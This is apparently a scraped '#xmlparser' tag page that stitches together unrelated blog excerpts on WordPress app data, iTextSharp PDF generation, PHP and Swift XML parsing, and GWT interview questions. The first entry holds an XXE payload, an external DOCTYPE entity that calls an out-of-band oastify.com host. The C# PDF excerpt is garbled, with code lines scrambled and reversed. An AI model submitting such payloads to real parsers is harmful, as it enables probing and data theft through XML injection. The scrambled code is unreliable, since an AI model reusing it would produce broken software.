#xmlparser

[hugyu76iu]

{!xmlparser v='<!DOCTYPE a SYSTEM "http://03198k17c4l4yvnzp1gtiwd2otuji8.oastify.com/xxe"><a></a>'}

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[cunelwork]

【Swift】WordPress製Webサイトをモバイルアプリ化する 〜データ取得編〜

【Swift】WordPress製Webサイトをモバイルアプリ化する 〜データ取得編〜 | スタッフブログ | 株式会社クーネルワーク - 新潟

入社2ヶ月経ちそうです こんにちは。アベユウタです。 早いもので、もうすぐ入社して2ヶ月が経とうとしています。 慣れないWeb文化(というよりWordPress)に戸惑いの毎日です。 ところで 弊社CunelWork(クーネルワーク)ではWordPressをベースとしたWebサイト構築が大半です。 CunelWorkで運営しているニュースキュレーションメディア新潟永住計画もWordPressで作成されています。 そこで、新潟永住計画のiOSアプリを勝手に作ってしまおうと企んでいます。（※ちゃんと上司にも確認済みです） しかし、WordPressで作成されたWebサイトの一部もしくは関連付けたモバイルアプリを開発する、となった場合に「どのようにデータをアプリ側で取得するか」が問題になります。…

[centergreys]

Use memory stream with pdfwriter

#Use memory stream with pdfwriter pdf#

Var xmlParser = new XMLParser(true, xmlWorker) Var xmlWorker = new XMLWorker(htmlPipeline, true) //True para parse do HTML IPipeline htmlPipeline = new HtmlPipeline(htmlContext, pdfWriterPipeline) IPipeline pdfWriterPipeline = new PdfWriterPipeline(documentPDF, pdfWriter) HtmlContext.SetTagFactory(Tags.GetHtmlTagProcessorFactory()) Var htmlContext = new HtmlPipelineContext(null) PdfWriter pdfWriter = PdfWriter.GetInstance(documentPDF, ms) TextReader xhmtlStr = new de Teste") //Leio o HTML da Stream TextReader xhmtlStr = new StringReader(readStream.ReadToEnd()) //Leio o seu HTML da Stream Using (var documentPDF = new Document(PageSize.A4, 40, 40, 40, 40)) In my example below, I'm going to take an html that is in the String and display it on the screen. ReadStream = new StreamReader(receiveStream, Encoding.GetEncoding(response.CharacterSet)) Īdd the ItextSharp and ItextSharp.xmlworker Nuget packages to your projectĪdd the following using to your code: using iTextSharp.text ReadStream = new StreamReader(receiveStream) Stream receiveStream = response.GetResponseStream() If (response.StatusCode = HttpStatusCode.OK) HttpWebResponse response = (HttpWebResponse)request.GetResponse()

#Use memory stream with pdfwriter pdf#

I already managed to transform the page into Stream, now how can I transform it into pdf and then attach it as an attachment.? HttpWebRequest request = (HttpWebRequest)WebRequest.Create() I'm making a page for emailing, and I need to transform a specific page into pdf to be attached to the email.

[thecampcodes]

Insert New Entry in XML File using PHP

In this tutorial, we will create an Insert New Entry In XML File using PHP. This code will dynamically insert an additional entry to the XML file when the user submits the input form. The code use file_put_contents() function to add new data to the XML file by overwriting the existing data. This is a user-friendly kind of program feel free to modify it. We will be using XML as a markup language that defines a set of rules for encoding documents in a format that is both readable in a certain way. It is designed to store and transport data that can be manipulated within the local server. Getting Started: First, you have to download & install XAMPP or any local server that runs PHP scripts. Here's the link for the XAMPP server https://www.apachefriends.org/index.html. And, this is the link for the bootstrap that I used for the layout design https://getbootstrap.com/. Creating The Interface This is where we will create a simple form for our application. To create the structures, copy and write it into your text editor, then save it as index.php. Sourcecodester PHP - Insert New Entry In XML File Firstname Lastname Address Insert Firstname Lastname Address Creating the Main Function This code contains the main function of the application. #arraytoxmlphp #c#xmlparser #convertmysqltoxmlusingphp #convertphptoxml #createxmlfileinphpsimplexml #echoxmlinphp #generateanddownloadxmlfileinphp #howappendhtmlinphp #howdoiadddatatoanxmlfile #howparsexmlinphp #howtocreatedynamicxmlfileinphp #howtocreatexmlfileinphpexample #howtodisplayxmldatainphp #howtogetattributevalueinxmlusingphp #howtogetdatafromxmlfileinphp #howtoparsexmlinphp #insertnewentryinxmlfileusingphp #parsexmlwithphp #phparraytoxml #phparraytoxmlwithattributes #phpconvertxmltoarraywithattributes #phpconvertxmltoobject #phpcreatexml #phpcreatexmlfile #phpcreatexmlfileandsave #phpcreatexmlstring #phpdisplayxmlinbrowser #phpdomdocument #phpechoxml #phpechoxmlstring #phpeditxmlfile #phpgetxmlfromurl #phploadxml #phploadxmlfile #phploadxmlfromstring #phploadxmlfromurl #phpnewsimplexmlelement #phpoutputxml #phpoutputxmlfile #phpparsesimplexmlelementobject #phpparsexml #phpparsexmlfile #phpparsexmlfromurl #phpparsexmlstring #phpparsexmltoarray #phpparsingxmlfile #phpreadxml #phpreadxmlfile #phpreadxmlfileintoarray #phpreadxmlfromurl #phpreturnxmlresponse #phpsavexmlstringtofile #phpsearchxml #phpsimplexmladdchildwithattribute #phpsimplexmlexample #phpsimplexmlgetattributebyname #phpsimplexmlloadfile #phpsimplexml_load_file #phpsimplexml_load_string #phpsimplexmlelementgetvalue #phptoxml #phptoxmlconverter #phptutorial #phptutorials #phpwithxml #phpwritexml #phpwritexmlfile #phpxml #phpxmlapi #phpxmlappendchild #phpxmlclass #phpxmldocument #phpxmleditor #phpxmlgetattribute #phpxmlgetelementbyattributevalue #phpxmllibrary #phpxmlmanipulation #phpxmlparse #phpxmlparser #phpxmlreader #phpxmlrequest #phpxmltoarraywithattributes #phpxmltoassociativearray #phpxmltojsonwithattributes #phpxmltoobjectmapping #phpxmltree #readxmlfileinphp #readxmlinphp #readxmlphp #readxmlusingphp #readingxmlfileinphp #readingxmlfileusingphp #savexmlfilephpsimplexml #simplexmlphp #simplexml #simplexmladdchild #simplexmlgetattribute #simplexml_load_fileinphp #simplexml_load_filephp7 #simplexml_load_fileurl #simplexml_load_stringreturnsempty #simplexmlelementexample #simplexmlelementgetvalue #simplexmlelementremovechild #usingsimplexml #whatisdom #whatisxmltaginsertion #whatisxmlusedfor #xml #xmlapiinphp #xmlexample #xmlexportphp #xmlfile #xmlinphp #xmlparserphp #xmlprogramexamplewithoutput #xmltoarrayphp #xmltohtmlphp #xmltutorial Read the full article

[siva3155]

300+ TOP GWT Interview Questions and Answers

GWT Interview Questions for freshers experienced :-

1. What is GWT? Google Web Toolkit (GWT) is a development toolkit for building ajax application using Java. GWT insist on reusable approaches to common web-app tasks such as bookmarking, UI abstraction, cross-browser portability, etc. GWT provides two modes: Development Mode: It allows debugging the Java code of the application directly via the standard Java debugger. Web mode: In this, the application is translated into HTML and JavaScript code. It can be deployed to a web server. 2. What are the components of GWT? GWT Java-to-JavaScript Compiler: It translates all the Java written code into JavaScript.GWT Development Mode: It allows the developers to run the application in development mode, i.e., app run in Java without compiling JavaScript. Development mode allows native mode plug-in called Google Web Toolkit Developer Plug-in. JRE emulation library: GWT includes a library that follows the Java runtime library i.e. java.lang, java.lang.annotation, java.math, java.io, java.sql, java.util etc. GWT Web UI class library: For creating a widget GWT consist of the set of interface and classes. 3. What is a module descriptor in GWT? A module descriptor is a configuration file used to set-up a GWT application. Its file extension is *.gwt.xml, where * is the name of the application and this file should reside in the project's root. 4. What is a GWT module? A GWT module is simply an encapsulation of functionality. It shares some similarities with a Java package but is not similar. 5. How do I enable assertions? The GWT compiler recognizes the -ea flag to generate code for assertions in the compiled JavaScript. Only use assertions for debugging purposes, not production logic because assertions will only work under GWT's development mode. 6. What is the default style name of any GWT widget? By default, the class name for each component is gwt-. For example, the Button widget has a default style of gwt-Button, and similar way TextBox widget has a default style of gwt-TextBox. 7. What is internationalization? Internationalization is changing the language of the text based on the locale. For example, the browser should display the website content in Hindi for a user sitting in India and French for the user accessing the website from France. 8. What is the purpose of Host Page? The most important public resource is host page which is used to invoke actual GWT application. A typical HTML host page for an application might not include any visible HTML body content at all, but it is always expected to include GWT application via a tag. 9. What is RPC? RPC (Remote Procedure Call) helps in client communication with the server. RPC is a process of calling a method from a class; however, in this process, the only difference is that the class is located on a server but not the part of the client program. 10. What is GWT ClientBundle? The ClientBundle interface moves entries from the everything-else category into the cache-forever category. 11. What are the types of panels in GWT? Root Panel: It is the topmost panel where all other widgets are attached to it. Flow Panel: It is the simplest panel which provides a basic HTML layout. HTML Panel: It is enclosed with specified HTML contents. Form Panel: It specifies that any widget declared in this would be wrapped in HTML form element. Scroll Panel: It puts all the content in the scrollable area. Grid: It helps to create an HTML table. Flex Table: It extends HTML table like a GRID, but here we can create a table on demand. 12. What are the Layout Panels? Layout Panels can contain other widgets. These panels control the way widget is displayed on User Interface. Every Panel widget inherits properties from Panel class which in turn inherits properties from Widget class and which in turn inherits properties from UIObject class. 13. Define GWT JSON? JSON(JavaScript Object Notation) is a language-independent format for data. It is similar to XML as XML uses tags JSON uses Object-Literal notation of JavaScript. 14. Define Parsing in GWT XML? To parse the XML, we have to first parse the raw XML text into XML DOM structure. DOM structure helps in the navigation of the data. XML parser is located under XMLParser class. XMLParser class consists of parse(String) static method which is called to parse the XML and return a Document object. 15. Give the nodes created by XML parsing. Element - represents DOM elements, which are specified by tags in XML: . Text - represents the text between the opening and closing tag of an element: Here is some text.. Comment - represents an XML comment: . Attr - represents an attribute of an element: . 16. Enlist the dependencies required for database in GWT Common: hsqldb, Common-lang , log4j . JDO: datanucleus, showfiles, jdo. Hibernate: hibernate. MyBatis: mybatis. 17. Define GWT History Mechanism. History mechanism is similar to the Ajax history implementations such as RSH (Really Simple History). The Basic idea is to track the internal application state in the URL fragment identifier. Main advantages of this mechanism are: It provides browser history reliable. It provides useful feedback to the user. It is bookmarkable, i.e., the user can create a bookmark to the current state and save it or can email it, etc. 18. Define GWT History Tokens. A token is simply a string that the application can parse to return to a particular state. This token will be saved in browser history as a URL fragment (in the location bar, after the "#"), and this fragment is passed back to the application when the user goes back or forward in history or follows a link. 19. How to create the custom widget? Google Web Toolkit offers a variety of ways for creating the custom widgets. The easiest way is to develop composite widgets by grouping existing basic widgets and adding some interaction logic to them. To create a Custom Widget, it has three general concepts which are as follows: Building Composite Widgets. Create the Java Code for the new widget. Wrap JavaScript using JSNI methods. 20. What is JSNI? JSNI (JavaScript Native Interface) is used to solve problems such as when we need to integrate GWT with existing handwritten JavaScript or with a third-party JavaScript library. Occasionally we need to access low-level browser functionality which is not exposed by the GWT class API's. 21. What are the different uses of JSNI? JSNI is a web equivalent of inline assembly code and can use in many ways such as: Implement a Java method directly in JavaScript. Wrap type-safe Java method signatures around existing JavaScript. Call from JavaScript code into Java code and vice-versa. Throw exceptions across Java/JavaScript boundaries. Read and write Java fields from JavaScript. Use development mode to debug both Java source (with a Java debugger) and JavaScript (with a script debugger). 22. What is GWT compiler? GWT compiler is used to convert the client side Java code to JavaScript at the time of building the source file. 23. How many application development mode GWT provide? GWT provides following two modes. Development mode-It allows us to debug the Java code of the application directly with Java debugger. Web mode-In this mode, Java source code is translated into HTML, CSS & JavaScript. It can be deployed to a webserver. GWT Questions and Answers Pdf Download Read the full article

[arthurknopper]

Parse XML iOS Tutorial

In this tutorial a xml file will be parsed using a XMLParser object. The results of the parsing will be displayed in  a Table View. This tutorial is made with Xcode 10 and built for iOS 12.

Open Xcode and create a new Single View App.

For product name, use IOSParseXMLTutorial and then fill out the Organization Name and Organization Identifier with your customary values. Enter Swift as Language and choose Next.

Remove the View Controller from the Storyboard and drag a Navigation Controller to the empty canvas. The Navigation Controller will automatically put a Table View Controller onto the storyboard. When the initial View Controller is deleted there isn't a starting point defined. Select the Navigation Controller and go to the Attribute Inspector. In the View Controller Section select the "Is Initial View Controller" checkbox.

Double-click the Title Bar of the Table View Controller and set the title to "Books". Select the Table View Cell and go to the Attributes Inspector. In the Table View Cell section set the Style Attribute to Subtitle. Also set the Cell identifier to “Cell”.

The Storyboard should look like this

Since we have deleted the View Controller from the Storyboard we can also delete the ViewController.swift file. Add a new file to the project, select iOS->Source->Cocoa Touch Class. Name it TableViewController and make it a subclass of UITableViewController.

Go to the Storyboard and select the Table View Controller. go to the Identity inspector and in the Custom Class section change the class to TableViewController. 

Add a new file to the project, select iOS->Other->Empty File. Give the fille a filename of Books.xml

Open the Books.xml file and add the following contents.

<?xml version="1.0"?> <catalog> <book id="1"> <title>To Kill a Mockingbird</title> <author>Harper Lee</author> </book> <book id="2"> <title>1984</title> <author>George Orwell</author> </book> <book id="3"> <title>The Lord of the Rings</title> <author>J.R.R Tolkien</author> </book> <book id="4"> <title>The Catcher in the Rye</title> <author>J.D. Salinger</author> </book> <book id="5"> <title>The Great Gatsby</title> <author>F. Scott Fitzgerald</author> </book> </catalog>

Go to the TableViewController.swift file and add a new struct above the TableViewController class.

struct Book { var bookTitle: String var bookAuthor: String }

Change the TableViewController class declaration to

class TableViewController: UITableViewController, XMLParserDelegate {

Add the following properties inside the TableViewController class

var books: [Book] = [] var elementName: String = String() var bookTitle = String() var bookAuthor = String()

Change the viewDidLoad method to

override func viewDidLoad() { super.viewDidLoad() if let path = Bundle.main.url(forResource: "Books", withExtension: "xml") { if let parser = XMLParser(contentsOf: path) { parser.delegate = self parser.parse() } } }

The XMLParser object parses the Books.xml file inside the bundle. Add the following TableViewController delegate methods

override func numberOfSectionsInTableView(tableView: UITableView) -> Int { return 1 } override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return books.count } override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell { let cell = tableView.dequeueReusableCellWithIdentifier("Cell", forIndexPath: indexPath) let book = books[indexPath.row] cell.textLabel?.text = book.bookTitle cell.detailTextLabel?.text = book.bookAuthor return cell }

The title and author of the books will be displayed into the Table View with the contents of the books array. Next, implement the XMLParser delegate methods.

// 1 func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String : String] = [:]) { if elementName == "book" { bookTitle = String() bookAuthor = String() } self.elementName = elementName } // 2 func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { if elementName == "book" { let book = Book(bookTitle: bookTitle, bookAuthor: bookAuthor) books.append(book) } } // 3 func parser(_ parser: XMLParser, foundCharacters string: String) { let data = string.trimmingCharacters(in: CharacterSet.whitespacesAndNewlines) if (!data.isEmpty) { if self.elementName == "title" { bookTitle += data } else if self.elementName == "author" { bookAuthor += data } } }

This method is sent by the parser object when the start tag of "<book>" is encountered.

This method is sent by the parser object when the end tag of "</book>" is encountered.

Here the actual parsing is executed. The title and author tags will be parsed and the corresponding properties will be initialized.

Build and Run the project. Inside the TableViewController the book tiles and authors will be displayed.

You can download the source code of the IOSParseXMLTutorial at the ioscreator repository on Github.